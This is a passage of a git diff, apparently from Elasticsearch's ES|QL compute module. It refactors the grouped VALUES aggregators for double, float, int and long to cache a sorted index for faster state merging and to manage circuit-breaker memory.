-            Releasables.closeExpectNoException(values, bytes);
+            Releasables.closeExpectNoException(values, bytes, sortedForOrdinalMerging);
         }
     }
 }
diff --git a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesDoubleAggregator.java b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesDoubleAggregator.java
index f5b0d519dd890..9aebe85c0cd89 100644
--- a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesDoubleAggregator.java
+++ b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesDoubleAggregator.java
@@ -19,6 +19,8 @@
 import org.elasticsearch.compute.data.DoubleBlock;
 import org.elasticsearch.compute.data.IntVector;
 import org.elasticsearch.compute.operator.DriverContext;
+import org.elasticsearch.core.Releasable;
+import org.elasticsearch.core.Releasables;
 
 /**
  * Aggregates field values for double.
@@ -48,28 +50,32 @@ public static Block evaluateFinal(SingleState state, DriverContext driverContext
         return state.toBlock(driverContext.blockFactory());
     }
 
-    public static GroupingState initGrouping(BigArrays bigArrays) {
-        return new GroupingState(bigArrays);
+    public static GroupingState initGrouping(DriverContext driverContext) {
+        return new GroupingState(driverContext);
     }
 
     public static void combine(GroupingState state, int groupId, double v) {
-        state.values.add(groupId, Double.doubleToLongBits(v));
+        state.addValue(groupId, v);
     }
 
     public static void combineIntermediate(GroupingState state, int groupId, DoubleBlock values, int valuesPosition) {
         int start = values.getFirstValueIndex(valuesPosition);
         int end = start + values.getValueCount(valuesPosition);
         for (int i = start; i < end; i++) {
-            combine(state, groupId, values.getDouble(i));
+            state.addValue(groupId, values.getDouble(i));
         }
     }
 
     public static void combineStates(GroupingState current, int currentGroupId, GroupingState state, int statePosition) {
-        for (int id = 0; id < state.values.size(); id++) {
-            if (state.values.getKey1(id) == statePosition) {
-                double value = Double.longBitsToDouble(state.values.getKey2(id));
-                combine(current, currentGroupId, value);
-            }
+        var sorted = state.sortedForOrdinalMerging(current);
+        if (statePosition > state.maxGroupId) {
+            return;
+        }
+        var start = statePosition > 0 ? sorted.counts[statePosition - 1] : 0;
+        var end = sorted.counts[statePosition];
+        for (int i = start; i < end; i++) {
+            int id = sorted.ids[i];
+            current.addValue(currentGroupId, state.getValue(id));
         }
     }
 
@@ -112,6 +118,20 @@ public void close() {
         }
     }
 
+    /**
+     * Values are collected in a hash. Iterating over them in order (row by row) to build the output,
+     * or merging with other state, can be expensive. To optimize this, we build a sorted structure once,
+     * and then use it to iterate over the values in order.
+     *
+     * @param ids positions of the {@link GroupingState#values} to read.
+     */
+    private record Sorted(Releasable releasable, int[] counts, int[] ids) implements Releasable {
+        @Override
+        public void close() {
+            releasable.close();
+        }
+    }
+
     /**
      * State for a grouped {@code VALUES} aggregation. This implementation
      * emphasizes collect-time performance over the performance of rendering
@@ -120,10 +140,15 @@ public void close() {
      * collector operation. But at least it's fairly simple.
      */
     public static class GroupingState implements GroupingAggregatorState {
+        private int maxGroupId = -1;
+        private final BlockFactory blockFactory;
         private final LongLongHash values;
 
-        private GroupingState(BigArrays bigArrays) {
-            values = new LongLongHash(1, bigArrays);
+        private Sorted sortedForOrdinalMerging = null;
+
+        private GroupingState(DriverContext driverContext) {
+            this.blockFactory = driverContext.blockFactory();
+            values = new LongLongHash(1, driverContext.bigArrays());
         }
 
         @Override
@@ -131,6 +156,11 @@ public void toIntermediate(Block[] blocks, int offset, IntVector selected, Drive
             blocks[offset] = toBlock(driverContext.blockFactory(), selected);
         }
 
+        void addValue(int groupId, double v) {
+            values.add(groupId, Double.doubleToLongBits(v));
+            maxGroupId = Math.max(maxGroupId, groupId);
+        }
+
         /**
          * Builds a {@link Block} with the unique values collected for the {@code #selected}
          * groups. This is the implementation of the final and intermediate results of the agg.
@@ -140,8 +170,15 @@ Block toBlock(BlockFactory blockFactory, IntVector selected) {
                 return blockFactory.newConstantNullBlock(selected.getPositionCount());
             }
 
+            try (var sorted = buildSorted(selected)) {
+                return buildOutputBlock(blockFactory, selected, sorted.counts, sorted.ids);
+            }
+        }
+
+        private Sorted buildSorted(IntVector selected) {
             long selectedCountsSize = 0;
             long idsSize = 0;
+            Sorted sorted = null;
             try {
                 /*
                  * Get a count of all groups less than the maximum selected group. Count
@@ -216,12 +253,25 @@ Block toBlock(BlockFactory blockFactory, IntVector selected) {
                         ids[selectedCounts[group]++] = id;
                     }
                 }
-                return buildOutputBlock(blockFactory, selected, selectedCounts, ids);
+                final long totalMemoryUsed = selectedCountsSize + idsSize;
+                sorted = new Sorted(() -> blockFactory.adjustBreaker(-totalMemoryUsed), selectedCounts, ids);
+                return sorted;
             } finally {
-                blockFactory.adjustBreaker(-selectedCountsSize - idsSize);
+                if (sorted == null) {
+                    blockFactory.adjustBreaker(-selectedCountsSize - idsSize);
+                }
             }
         }
 
+        private Sorted sortedForOrdinalMerging(GroupingState other) {
+            if (sortedForOrdinalMerging == null) {
+                try (var selected = IntVector.range(0, maxGroupId + 1, blockFactory)) {
+                    sortedForOrdinalMerging = buildSorted(selected);
+                }
+            }
+            return sortedForOrdinalMerging;
+        }
+
         Block buildOutputBlock(BlockFactory blockFactory, IntVector selected, int[] selectedCounts, int[] ids) {
             /*
              * Insert the ids in order.
@@ -234,11 +284,11 @@ Block buildOutputBlock(BlockFactory blockFactory, IntVector selected, int[] sele
                     int count = end - start;
                     switch (count) {
                         case 0 -> builder.appendNull();
-                        case 1 -> append(builder, ids[start]);
+                        case 1 -> builder.appendDouble(getValue(ids[start]));
                         default -> {
                             builder.beginPositionEntry();
                             for (int i = start; i < end; i++) {
-                                append(builder, ids[i]);
+                                builder.appendDouble(getValue(ids[i]));
                             }
                             builder.endPositionEntry();
                         }
@@ -249,9 +299,8 @@ Block buildOutputBlock(BlockFactory blockFactory, IntVector selected, int[] sele
             }
         }
 
-        private void append(DoubleBlock.Builder builder, int id) {
-            double value = Double.longBitsToDouble(values.getKey2(id));
-            builder.appendDouble(value);
+        double getValue(int valueId) {
+            return Double.longBitsToDouble(values.getKey2(valueId));
         }
 
         @Override
@@ -261,7 +310,7 @@ public void enableGroupIdTracking(SeenGroupIds seen) {
 
         @Override
         public void close() {
-            values.close();
+            Releasables.closeExpectNoException(values, sortedForOrdinalMerging);
         }
     }
 }
diff --git a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesFloatAggregator.java b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesFloatAggregator.java
index 4cfbf329a895d..28c736783122d 100644
--- a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesFloatAggregator.java
+++ b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesFloatAggregator.java
@@ -18,6 +18,8 @@
 import org.elasticsearch.compute.data.FloatBlock;
 import org.elasticsearch.compute.data.IntVector;
 import org.elasticsearch.compute.operator.DriverContext;
+import org.elasticsearch.core.Releasable;
+import org.elasticsearch.core.Releasables;
 
 /**
  * Aggregates field values for float.
@@ -47,34 +49,32 @@ public static Block evaluateFinal(SingleState state, DriverContext driverContext
         return state.toBlock(driverContext.blockFactory());
     }
 
-    public static GroupingState initGrouping(BigArrays bigArrays) {
-        return new GroupingState(bigArrays);
+    public static GroupingState initGrouping(DriverContext driverContext) {
+        return new GroupingState(driverContext);
     }
 
     public static void combine(GroupingState state, int groupId, float v) {
-        /*
-         * Encode the groupId and value into a single long -
-         * the top 32 bits for the group, the bottom 32 for the value.
-         */
-        state.values.add((((long) groupId) << Float.SIZE) | (Float.floatToIntBits(v) & 0xFFFFFFFFL));
+        state.addValue(groupId, v);
     }
 
     public static void combineIntermediate(GroupingState state, int groupId, FloatBlock values, int valuesPosition) {
         int start = values.getFirstValueIndex(valuesPosition);
         int end = start + values.getValueCount(valuesPosition);
         for (int i = start; i < end; i++) {
-            combine(state, groupId, values.getFloat(i));
+            state.addValue(groupId, values.getFloat(i));
         }
     }
 
     public static void combineStates(GroupingState current, int currentGroupId, GroupingState state, int statePosition) {
-        for (int id = 0; id < state.values.size(); id++) {
-            long both = state.values.get(id);
-            int group = (int) (both >>> Float.SIZE);
-            if (group == statePosition) {
-                float value = Float.intBitsToFloat((int) both);
-                combine(current, currentGroupId, value);
-            }
+        var sorted = state.sortedForOrdinalMerging(current);
+        if (statePosition > state.maxGroupId) {
+            return;
+        }
+        var start = statePosition > 0 ? sorted.counts[statePosition - 1] : 0;
+        var end = sorted.counts[statePosition];
+        for (int i = start; i < end; i++) {
+            int id = sorted.ids[i];
+            current.addValue(currentGroupId, state.getValue(id));
         }
     }
 
@@ -117,6 +117,20 @@ public void close() {
         }
     }
 
+    /**
+     * Values are collected in a hash. Iterating over them in order (row by row) to build the output,
+     * or merging with other state, can be expensive. To optimize this, we build a sorted structure once,
+     * and then use it to iterate over the values in order.
+     *
+     * @param ids positions of the {@link GroupingState#values} to read.
+     */
+    private record Sorted(Releasable releasable, int[] counts, int[] ids) implements Releasable {
+        @Override
+        public void close() {
+            releasable.close();
+        }
+    }
+
     /**
      * State for a grouped {@code VALUES} aggregation. This implementation
      * emphasizes collect-time performance over the performance of rendering
@@ -125,10 +139,15 @@ public void close() {
      * collector operation. But at least it's fairly simple.
      */
     public static class GroupingState implements GroupingAggregatorState {
+        private int maxGroupId = -1;
+        private final BlockFactory blockFactory;
         private final LongHash values;
 
-        private GroupingState(BigArrays bigArrays) {
-            values = new LongHash(1, bigArrays);
+        private Sorted sortedForOrdinalMerging = null;
+
+        private GroupingState(DriverContext driverContext) {
+            this.blockFactory = driverContext.blockFactory();
+            values = new LongHash(1, driverContext.bigArrays());
         }
 
         @Override
@@ -136,6 +155,15 @@ public void toIntermediate(Block[] blocks, int offset, IntVector selected, Drive
             blocks[offset] = toBlock(driverContext.blockFactory(), selected);
         }
 
+        void addValue(int groupId, float v) {
+            /*
+             * Encode the groupId and value into a single long -
+             * the top 32 bits for the group, the bottom 32 for the value.
+             */
+            values.add((((long) groupId) << Float.SIZE) | (Float.floatToIntBits(v) & 0xFFFFFFFFL));
+            maxGroupId = Math.max(maxGroupId, groupId);
+        }
+
         /**
          * Builds a {@link Block} with the unique values collected for the {@code #selected}
          * groups. This is the implementation of the final and intermediate results of the agg.
@@ -145,8 +173,15 @@ Block toBlock(BlockFactory blockFactory, IntVector selected) {
                 return blockFactory.newConstantNullBlock(selected.getPositionCount());
             }
 
+            try (var sorted = buildSorted(selected)) {
+                return buildOutputBlock(blockFactory, selected, sorted.counts, sorted.ids);
+            }
+        }
+
+        private Sorted buildSorted(IntVector selected) {
             long selectedCountsSize = 0;
             long idsSize = 0;
+            Sorted sorted = null;
             try {
                 /*
                  * Get a count of all groups less than the maximum selected group. Count
@@ -223,10 +258,23 @@ Block toBlock(BlockFactory blockFactory, IntVector selected) {
                         ids[selectedCounts[group]++] = id;
                     }
                 }
-                return buildOutputBlock(blockFactory, selected, selectedCounts, ids);
+                final long totalMemoryUsed = selectedCountsSize + idsSize;
+                sorted = new Sorted(() -> blockFactory.adjustBreaker(-totalMemoryUsed), selectedCounts, ids);
+                return sorted;
             } finally {
-                blockFactory.adjustBreaker(-selectedCountsSize - idsSize);
+                if (sorted == null) {
+                    blockFactory.adjustBreaker(-selectedCountsSize - idsSize);
+                }
+            }
+        }
+
+        private Sorted sortedForOrdinalMerging(GroupingState other) {
+            if (sortedForOrdinalMerging == null) {
+                try (var selected = IntVector.range(0, maxGroupId + 1, blockFactory)) {
+                    sortedForOrdinalMerging = buildSorted(selected);
+                }
             }
+            return sortedForOrdinalMerging;
         }
 
         Block buildOutputBlock(BlockFactory blockFactory, IntVector selected, int[] selectedCounts, int[] ids) {
@@ -241,11 +289,11 @@ Block buildOutputBlock(BlockFactory blockFactory, IntVector selected, int[] sele
                     int count = end - start;
                     switch (count) {
                         case 0 -> builder.appendNull();
-                        case 1 -> append(builder, ids[start]);
+                        case 1 -> builder.appendFloat(getValue(ids[start]));
                         default -> {
                             builder.beginPositionEntry();
                             for (int i = start; i < end; i++) {
-                                append(builder, ids[i]);
+                                builder.appendFloat(getValue(ids[i]));
                             }
                             builder.endPositionEntry();
                         }
@@ -256,10 +304,9 @@ Block buildOutputBlock(BlockFactory blockFactory, IntVector selected, int[] sele
             }
         }
 
-        private void append(FloatBlock.Builder builder, int id) {
-            long both = values.get(id);
-            float value = Float.intBitsToFloat((int) both);
-            builder.appendFloat(value);
+        float getValue(int valueId) {
+            long both = values.get(valueId);
+            return Float.intBitsToFloat((int) both);
         }
 
         @Override
@@ -269,7 +316,7 @@ public void enableGroupIdTracking(SeenGroupIds seen) {
 
         @Override
         public void close() {
-            values.close();
+            Releasables.closeExpectNoException(values, sortedForOrdinalMerging);
         }
     }
 }
diff --git a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesIntAggregator.java b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesIntAggregator.java
index 38e5ad99cf581..39dbcd155954c 100644
--- a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesIntAggregator.java
+++ b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesIntAggregator.java
@@ -18,6 +18,8 @@
 import org.elasticsearch.compute.data.IntBlock;
 import org.elasticsearch.compute.data.IntVector;
 import org.elasticsearch.compute.operator.DriverContext;
+import org.elasticsearch.core.Releasable;
+import org.elasticsearch.core.Releasables;
 
 /**
  * Aggregates field values for int.
@@ -47,34 +49,32 @@ public static Block evaluateFinal(SingleState state, DriverContext driverContext
         return state.toBlock(driverContext.blockFactory());
     }
 
-    public static GroupingState initGrouping(BigArrays bigArrays) {
-        return new GroupingState(bigArrays);
+    public static GroupingState initGrouping(DriverContext driverContext) {
+        return new GroupingState(driverContext);
     }
 
     public static void combine(GroupingState state, int groupId, int v) {
-        /*
-         * Encode the groupId and value into a single long -
-         * the top 32 bits for the group, the bottom 32 for the value.
-         */
-        state.values.add((((long) groupId) << Integer.SIZE) | (v & 0xFFFFFFFFL));
+        state.addValue(groupId, v);
     }
 
     public static void combineIntermediate(GroupingState state, int groupId, IntBlock values, int valuesPosition) {
         int start = values.getFirstValueIndex(valuesPosition);
         int end = start + values.getValueCount(valuesPosition);
         for (int i = start; i < end; i++) {
-            combine(state, groupId, values.getInt(i));
+            state.addValue(groupId, values.getInt(i));
         }
     }
 
     public static void combineStates(GroupingState current, int currentGroupId, GroupingState state, int statePosition) {
-        for (int id = 0; id < state.values.size(); id++) {
-            long both = state.values.get(id);
-            int group = (int) (both >>> Integer.SIZE);
-            if (group == statePosition) {
-                int value = (int) both;
-                combine(current, currentGroupId, value);
-            }
+        var sorted = state.sortedForOrdinalMerging(current);
+        if (statePosition > state.maxGroupId) {
+            return;
+        }
+        var start = statePosition > 0 ? sorted.counts[statePosition - 1] : 0;
+        var end = sorted.counts[statePosition];
+        for (int i = start; i < end; i++) {
+            int id = sorted.ids[i];
+            current.addValue(currentGroupId, state.getValue(id));
         }
     }
 
@@ -117,6 +117,20 @@ public void close() {
         }
     }
 
+    /**
+     * Values are collected in a hash. Iterating over them in order (row by row) to build the output,
+     * or merging with other state, can be expensive. To optimize this, we build a sorted structure once,
+     * and then use it to iterate over the values in order.
+     *
+     * @param ids positions of the {@link GroupingState#values} to read.
+     */
+    private record Sorted(Releasable releasable, int[] counts, int[] ids) implements Releasable {
+        @Override
+        public void close() {
+            releasable.close();
+        }
+    }
+
     /**
      * State for a grouped {@code VALUES} aggregation. This implementation
      * emphasizes collect-time performance over the performance of rendering
@@ -125,10 +139,15 @@ public void close() {
      * collector operation. But at least it's fairly simple.
      */
     public static class GroupingState implements GroupingAggregatorState {
+        private int maxGroupId = -1;
+        private final BlockFactory blockFactory;
         private final LongHash values;
 
-        private GroupingState(BigArrays bigArrays) {
-            values = new LongHash(1, bigArrays);
+        private Sorted sortedForOrdinalMerging = null;
+
+        private GroupingState(DriverContext driverContext) {
+            this.blockFactory = driverContext.blockFactory();
+            values = new LongHash(1, driverContext.bigArrays());
         }
 
         @Override
@@ -136,6 +155,15 @@ public void toIntermediate(Block[] blocks, int offset, IntVector selected, Drive
             blocks[offset] = toBlock(driverContext.blockFactory(), selected);
         }
 
+        void addValue(int groupId, int v) {
+            /*
+             * Encode the groupId and value into a single long -
+             * the top 32 bits for the group, the bottom 32 for the value.
+             */
+            values.add((((long) groupId) << Integer.SIZE) | (v & 0xFFFFFFFFL));
+            maxGroupId = Math.max(maxGroupId, groupId);
+        }
+
         /**
          * Builds a {@link Block} with the unique values collected for the {@code #selected}
          * groups. This is the implementation of the final and intermediate results of the agg.
@@ -145,8 +173,15 @@ Block toBlock(BlockFactory blockFactory, IntVector selected) {
                 return blockFactory.newConstantNullBlock(selected.getPositionCount());
             }
 
+            try (var sorted = buildSorted(selected)) {
+                return buildOutputBlock(blockFactory, selected, sorted.counts, sorted.ids);
+            }
+        }
+
+        private Sorted buildSorted(IntVector selected) {
             long selectedCountsSize = 0;
             long idsSize = 0;
+            Sorted sorted = null;
             try {
                 /*
                  * Get a count of all groups less than the maximum selected group. Count
@@ -223,10 +258,23 @@ Block toBlock(BlockFactory blockFactory, IntVector selected) {
                         ids[selectedCounts[group]++] = id;
                     }
                 }
-                return buildOutputBlock(blockFactory, selected, selectedCounts, ids);
+                final long totalMemoryUsed = selectedCountsSize + idsSize;
+                sorted = new Sorted(() -> blockFactory.adjustBreaker(-totalMemoryUsed), selectedCounts, ids);
+                return sorted;
             } finally {
-                blockFactory.adjustBreaker(-selectedCountsSize - idsSize);
+                if (sorted == null) {
+                    blockFactory.adjustBreaker(-selectedCountsSize - idsSize);
+                }
+            }
+        }
+
+        private Sorted sortedForOrdinalMerging(GroupingState other) {
+            if (sortedForOrdinalMerging == null) {
+                try (var selected = IntVector.range(0, maxGroupId + 1, blockFactory)) {
+                    sortedForOrdinalMerging = buildSorted(selected);
+                }
             }
+            return sortedForOrdinalMerging;
         }
 
         Block buildOutputBlock(BlockFactory blockFactory, IntVector selected, int[] selectedCounts, int[] ids) {
@@ -241,11 +289,11 @@ Block buildOutputBlock(BlockFactory blockFactory, IntVector selected, int[] sele
                     int count = end - start;
                     switch (count) {
                         case 0 -> builder.appendNull();
-                        case 1 -> append(builder, ids[start]);
+                        case 1 -> builder.appendInt(getValue(ids[start]));
                         default -> {
                             builder.beginPositionEntry();
                             for (int i = start; i < end; i++) {
-                                append(builder, ids[i]);
+                                builder.appendInt(getValue(ids[i]));
                             }
                             builder.endPositionEntry();
                         }
@@ -256,10 +304,9 @@ Block buildOutputBlock(BlockFactory blockFactory, IntVector selected, int[] sele
             }
         }
 
-        private void append(IntBlock.Builder builder, int id) {
-            long both = values.get(id);
-            int value = (int) both;
-            builder.appendInt(value);
+        int getValue(int valueId) {
+            long both = values.get(valueId);
+            return (int) both;
         }
 
         @Override
@@ -269,7 +316,7 @@ public void enableGroupIdTracking(SeenGroupIds seen) {
 
         @Override
         public void close() {
-            values.close();
+            Releasables.closeExpectNoException(values, sortedForOrdinalMerging);
         }
     }
 }
diff --git a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesLongAggregator.java b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesLongAggregator.java
index 4bfc230d7e1f7..a7d3a8fe539df 100644
--- a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesLongAggregator.java
+++ b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesLongAggregator.java
@@ -19,6 +19,8 @@
 import org.elasticsearch.compute.data.IntVector;
 import org.elasticsearch.compute.data.LongBlock;
 import org.elasticsearch.compute.operator.DriverContext;
+import org.elasticsearch.core.Releasable;
+import org.elasticsearch.core.Releasables;
 
 /**
  * Aggregates field values for long.
@@ -48,28 +50,32 @@ public static Block evaluateFinal(SingleState state, DriverContext driverContext
         return state.toBlock(driverContext.blockFactory());
     }
 
-    public static GroupingState initGrouping(BigArrays bigArrays) {
-        return new GroupingState(bigArrays);
+    public static GroupingState initGrouping(DriverContext driverContext) {
+        return new GroupingState(driverContext);
     }
 
     public static void combine(GroupingState state, int groupId, long v) {
-        state.values.add(groupId, v);
+        state.addValue(groupId, v);
     }
 
     public static void combineIntermediate(GroupingState state, int groupId, LongBlock values, int valuesPosition) {
         int start = values.getFirstValueIndex(valuesPosition);
         int end = start + values.getValueCount(valuesPosition);
         for (int i = start; i < end; i++) {
-            combine(state, groupId, values.getLong(i));
+            state.addValue(groupId, values.getLong(i));
         }
     }
 
     public static void combineStates(GroupingState current, int currentGroupId, GroupingState state, int statePosition) {
-        for (int id = 0; id < state.values.size(); id++) {
-            if (state.values.getKey1(id) == statePosition) {
-                long value = state.values.getKey2(id);
-                combine(current, currentGroupId, value);
-            }
+        var sorted = state.sortedForOrdinalMerging(current);
+        if (statePosition > state.maxGroupId) {
+            return;
+        }
+        var start = statePosition > 0 ? sorted.counts[statePosition - 1] : 0;
+        var end = sorted.counts[statePosition];
+        for (int i = start; i < end; i++) {
+            int id = sorted.ids[i];
+            current.addValue(currentGroupId, state.getValue(id));
         }
     }
 
@@ -112,6 +118,20 @@ public void close() {
         }
     }
 
+    /**
+     * Values are collected in a hash. Iterating over them in order (row by row) to build the output,
+     * or merging with other state, can be expensive. To optimize this, we build a sorted structure once,
+     * and then use it to iterate over the values in order.
+     *
+     * @param ids positions of the {@link GroupingState#values} to read.
+     */
+    private record Sorted(Releasable releasable, int[] counts, int[] ids) implements Releasable {
+        @Override
+        public void close() {
+            releasable.close();
+        }
+    }
+
     /**
      * State for a grouped {@code VALUES} aggregation. This implementation
      * emphasizes collect-time performance over the performance of rendering
@@ -120,10 +140,15 @@ public void close() {
      * collector operation. But at least it's fairly simple.
      */
     public static class GroupingState implements GroupingAggregatorState {
+        private int maxGroupId = -1;
+        private final BlockFactory blockFactory;
         private final LongLongHash values;
 
-        private GroupingState(BigArrays bigArrays) {
-            values = new LongLongHash(1, bigArrays);
+        private Sorted sortedForOrdinalMerging = null;
+
+        private GroupingState(DriverContext driverContext) {
+            this.blockFactory = driverContext.blockFactory();
+            values = new LongLongHash(1, driverContext.bigArrays());
         }
 
         @Override
@@ -131,6 +156,11 @@ public void toIntermediate(Block[] blocks, int offset, IntVector selected, Drive
             blocks[offset] = toBlock(driverContext.blockFactory(), selected);
         }
 
+        void addValue(int groupId, long v) {
+            values.add(groupId, v);
+            maxGroupId = Math.max(maxGroupId, groupId);
+        }
+
         /**
          * Builds a {@link Block} with the unique values collected for the {@code #selected}
          * groups. This is the implementation of the final and intermediate results of the agg.
@@ -140,8 +170,15 @@ Block toBlock(BlockFactory blockFactory, IntVector selected) {
                 return blockFactory.newConstantNullBlock(selected.getPositionCount());
             }
 
+            try (var sorted = buildSorted(selected)) {
+                return buildOutputBlock(blockFactory, selected, sorted.counts, sorted.ids);
+            }
+        }
+
+        private Sorted buildSorted(IntVector selected) {
             long selectedCountsSize = 0;
             long idsSize = 0;
+            Sorted sorted = null;
             try {
                 /*
                  * Get a count of all groups less than the maximum selected group. Count
@@ -216,12 +253,25 @@ Block toBlock(BlockFactory blockFactory, IntVector selected) {
                         ids[selectedCounts[group]++] = id;
                     }
                 }
-                return buildOutputBlock(blockFactory, selected, selectedCounts, ids);
+                final long totalMemoryUsed = selectedCountsSize + idsSize;
+                sorted = new Sorted(() -> blockFactory.adjustBreaker(-totalMemoryUsed), selectedCounts, ids);
+                return sorted;
             } finally {
-                blockFactory.adjustBreaker(-selectedCountsSize - idsSize);
+                if (sorted == null) {
+                    blockFactory.adjustBreaker(-selectedCountsSize - idsSize);
+                }
             }
         }
 
+        private Sorted sortedForOrdinalMerging(GroupingState other) {
+            if (sortedForOrdinalMerging == null) {
+                try (var selected = IntVector.range(0, maxGroupId + 1, blockFactory)) {
+                    sortedForOrdinalMerging = buildSorted(selected);
+                }
+            }
+            return sortedForOrdinalMerging;
+        }
+
         Block buildOutputBlock(BlockFactory blockFactory, IntVector selected, int[] selectedCounts, int[] ids) {
             /*
              * Insert the ids in order.
@@ -234,11 +284,11 @@ Block buildOutputBlock(BlockFactory blockFactory, IntVector selected, int[] sele
                     int count = end - start;
                     switch (count) {
                         case 0 -> builder.appendNull();
-                        case 1 -> append(builder, ids[start]);
+                        case 1 -> builder.appendLong(getValue(ids[start]));
                         default -> {
                             builder.beginPositionEntry();
                             for (int i = start; i < end; i++) {
-                                append(builder, ids[i]);
+                                builder.appendLong(getValue(ids[i]));
                             }
                             builder.endPositionEntry();
                         }
@@ -249,9 +299,8 @@ Block buildOutputBlock(BlockFactory blockFactory, IntVector selected, int[] sele
             }
         }
 
-        private void append(LongBlock.Builder builder, int id) {
-            long value = values.getKey2(id);
-            builder.appendLong(value);
+        long getValue(int valueId) {
+            return values.getKey2(valueId);
         }
 
         @Override
@@ -261,7 +310,7 @@ public void enableGroupIdTracking(SeenGroupIds seen) {
 
         @Override
         public void close() {
-            values.close();
+            Releasables.closeExpectNoException(values, sortedForOrdinalMerging);
         }
     }
 }
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesBytesRefGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesBytesRefGroupingAggregatorFunction.java
index 28843942b73cb..ebbc4cd5eb8a3 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesBytesRefGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesBytesRefGroupingAggregatorFunction.java
@@ -43,7 +43,7 @@ public ValuesBytesRefGroupingAggregatorFunction(List<Integer> channels,
 
   public static ValuesBytesRefGroupingAggregatorFunction create(List<Integer> channels,
       DriverContext driverContext) {
-    return new ValuesBytesRefGroupingAggregatorFunction(channels, ValuesBytesRefAggregator.initGrouping(driverContext.bigArrays()), driverContext);
+    return new ValuesBytesRefGroupingAggregatorFunction(channels, ValuesBytesRefAggregator.initGrouping(driverContext), driverContext);
   }
 
   public static List<IntermediateStateDesc> intermediateStateDesc() {
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesDoubleGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesDoubleGroupingAggregatorFunction.java
index 76c865b33fd09..e61ffacb17274 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesDoubleGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesDoubleGroupingAggregatorFunction.java
@@ -42,7 +42,7 @@ public ValuesDoubleGroupingAggregatorFunction(List<Integer> channels,
 
   public static ValuesDoubleGroupingAggregatorFunction create(List<Integer> channels,
       DriverContext driverContext) {
-    return new ValuesDoubleGroupingAggregatorFunction(channels, ValuesDoubleAggregator.initGrouping(driverContext.bigArrays()), driverContext);
+    return new ValuesDoubleGroupingAggregatorFunction(channels, ValuesDoubleAggregator.initGrouping(driverContext), driverContext);
   }
 
   public static List<IntermediateStateDesc> intermediateStateDesc() {
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesFloatGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesFloatGroupingAggregatorFunction.java
index bed9a884ccd10..d7eb4bc97bacb 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesFloatGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesFloatGroupingAggregatorFunction.java
@@ -42,7 +42,7 @@ public ValuesFloatGroupingAggregatorFunction(List<Integer> channels,
 
   public static ValuesFloatGroupingAggregatorFunction create(List<Integer> channels,
       DriverContext driverContext) {
-    return new ValuesFloatGroupingAggregatorFunction(channels, ValuesFloatAggregator.initGrouping(driverContext.bigArrays()), driverContext);
+    return new ValuesFloatGroupingAggregatorFunction(channels, ValuesFloatAggregator.initGrouping(driverContext), driverContext);
   }
 
   public static List<IntermediateStateDesc> intermediateStateDesc() {
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesIntGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesIntGroupingAggregatorFunction.java
index fb801eadcf5cd..bd34ac0d27098 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesIntGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesIntGroupingAggregatorFunction.java
@@ -41,7 +41,7 @@ public ValuesIntGroupingAggregatorFunction(List<Integer> channels,
 
   public static ValuesIntGroupingAggregatorFunction create(List<Integer> channels,
       DriverContext driverContext) {
-    return new ValuesIntGroupingAggregatorFunction(channels, ValuesIntAggregator.initGrouping(driverContext.bigArrays()), driverContext);
+    return new ValuesIntGroupingAggregatorFunction(channels, ValuesIntAggregator.initGrouping(driverContext), driverContext);
   }
 
   public static List<IntermediateStateDesc> intermediateStateDesc() {
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesLongGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesLongGroupingAggregatorFunction.java
